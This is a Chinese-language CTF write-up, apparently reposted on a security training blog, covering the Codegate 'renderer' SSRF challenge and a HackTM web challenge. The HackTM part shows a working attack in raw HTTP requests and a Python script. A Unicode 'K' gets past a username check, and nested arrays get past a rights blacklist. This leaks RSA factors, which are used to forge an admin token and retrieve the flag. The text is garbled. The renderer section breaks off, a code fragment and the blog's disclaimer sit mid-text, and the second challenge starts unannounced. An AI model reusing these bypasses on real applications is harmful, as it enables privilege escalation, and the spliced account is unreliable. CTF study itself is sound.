原创L's合天智汇
前言
由于最近疫情比较严重,反正在家也无聊,就打了两个ctf,随便总结一下:
0x01 renderer
0x001 题目描述如下:
Description : It is my first flask project with nginx. Write your own message, and get flag! http://110.10.147.169/renderer/ http://58.229.253.144/renderer/ DOWNLOAD : http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/022fd23aa5d26fbeea4ea890710178e90x002 首页如下:
首页只有一个url的提交框感觉应该是考SSRF。
我们随便访问一下:用http://110.10.147.169/renderer/whatismyip:
它返回了whatismyip页面的数据。
但是当我用https://www.baidu.com访问时服务器出现500错误,因此判断是要利用ssrf读取敏感文件这类似的操作。
SSRF攻击与防御:
= 3 } 声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!综上所述,我们需要:
我们可以通过unicode的K来绕过ascii的K,例如:
console.log('K'.toUpperCase()==='k'.toUpperCase()); console.log('K'.toLowerCase()==='k'.toLowerCase());结果如下:
false true生成的脚本如下:
const admin="hacktm"; const tmp1=admin.toUpperCase().split(''); const tmp2=admin.toLowerCase().split(''); for (let i=0;i100000;i++){ const char=String.fromCharCode(i); if(tmp1.includes(char.toUpperCase())||tmp2.includes(char.toLowerCase())){ console.log(i,char,char.toUpperCase(),char.toLowerCase()); } }结果如下:
65 'A' 'A' 'a' 67 'C' 'C' 'c' 72 'H' 'H' 'h' 75 'K' 'K' 'k' 77 'M' 'M' 'm' 84 'T' 'T' 't' 97 'a' 'A' 'a' 99 'c' 'C' 'c' 104 'h' 'H' 'h' 107 'k' 'K' 'k' 109 'm' 'M' 'm' 116 't' 'T' 't' 8490 'K' 'K' 'k' 65601 'A' 'A' 'a' 65603 'C' 'C' 'c' 65608 'H' 'H' 'h' 65611 'K' 'K' 'k' 65613 'M' 'M' 'm' 65620 'T' 'T' 't' 65633 'a' 'A' 'a' 65635 'c' 'C' 'c' 65640 'h' 'H' 'h' 65643 'k' 'K' 'k' 65645 'm' 'M' 'm' 65652 't' 'T' 't' 74026 'K' 'K' 'k'通过上面的操作可以得出hacKtm,满足条件,K不是ascii的K:
请求/login如下:
POST /login HTTP/1.1 Host: 167.172.165.153:60001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Authorization: Bearer undefined Content-Length: 23 Origin: http://167.172.165.153:60000 Connection: close Referer: http://167.172.165.153:60000/ {"username":"hacKtm"}我们获得了签名的JWT:
HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Content-Length: 199 ETag: W/"c7-FOLFBWmzAHyWeAJOurHR3CgFQ7w" Date: Fri, 07 Feb 2020 11:57:47 GMT Connection: close {"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJs"}}一切都准备就绪,使用上面的token更新用户权限如下:
POST /updateUser HTTP/1.1 Host: 167.172.165.153:60001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImRmZjNkYzBiLWI2ZmQtNDk0ZS04YThiLTMyOWZjNjAwZjRmYiIsImlhdCI6MTU4MTA3NjY2N30.wa1XTEXY6XbTr8M0XL2vGgHtTGjTDwViCK3tu2nPIJs Content-Length: 22 Origin: http://167.172.165.153:60000 Connection: close Referer: http://167.172.165.153:60000/ {"rights": ["n", "p"]}将会返回如下内容:
HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Content-Length: 205 ETag: W/"cd-ZjJARGQw8OB8MX5BzYLl/dWOAKM" Date: Fri, 07 Feb 2020 12:09:55 GMT Connection: close {"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor"]}}}我们可以看到n和p没有被添加到用户权限列表中,通过查看源码,这是因为checkRights(arr)函数的检查。
0x003 绕过checkRights(arr):
在checkRights(arr)中:
function checkRights(arr) { let blacklist = ["p", "n", "port"]; for (let i = 0; i arr.length; i++) { const element = arr[i]; if (blacklist.includes(element)) { return false; } } return true; }在checkRights(arr)中定义了黑名单["p", "n", "port"],只要包含里面的任意一个字符都不会添加用户权限。
根据js的某些特性我们可以用下面的两个特性来解决:
console.log(["l"].toString()==="l".toString()); // output: true使用[["p"],["n"]]payload发送到/updateUser会返回如下内容:
HTTP/1.1 200 OK X-Powered-By: Express Access-Control-Allow-Origin: * Content-Type: application/json; charset=utf-8 Content-Length: 217 ETag: W/"d9-uCy43hPNMI1ebwEnfBO1u7Arbg8" Date: Fri, 07 Feb 2020 12:24:10 GMT Connection: close {"status":"ok","data":{"user":{"username":"hacKtm","id":"dff3dc0b-b6fd-494e-8a8b-329fc600f4fb","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"],["p"]]}}}我们可以看到我们成功的添加了["n"],["p"]的权限。
接下来访问/serverInfo获取n,p的值:
{"status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":12},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"},{"name":["p"],"value":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617"}]}}0x004 获取flag:
计算q使用n/p我们获得:
q = 283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987payload.py
import requests url = "http://167.172.165.153:60001" json={ "p":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617", "q":"283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987" } response=requests.post(url+"/init",json=json) print(response.text) token=response.json()['data']['token'] print(token) headers={ "Authorization": "Bearer %s" % token } response=requests.get(url+"/flag",headers=headers) print(response.json())0x005 结果如下:
{"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMjM5MTcxfQ.qlYl5xN0H6NcGhRL1FwAUixGthGNztOjoFAmohimOr0"}} eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgxMjM5MTcxfQ.qlYl5xN0H6NcGhRL1FwAUixGthGNztOjoFAmohimOr0 {'status': 'ok', 'data': {'flag': 'HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}'}}复制链接做实验:JavaScript基础:
0x03总结:
在做题的过程中还去学习了一下ssti注入,和flask框架,还有一些js特性,感觉这次收获还是满满的。
转载请注明来自网盾网络安全培训,本文标题:《Codegate CTF和HackTM CTF的两个web题解》
标签:合天智汇
- 上一篇: KBOT研究报告
- 下一篇: 援助疫情|爱加密联合多家企业提供免费安全检测服务
- 关于我们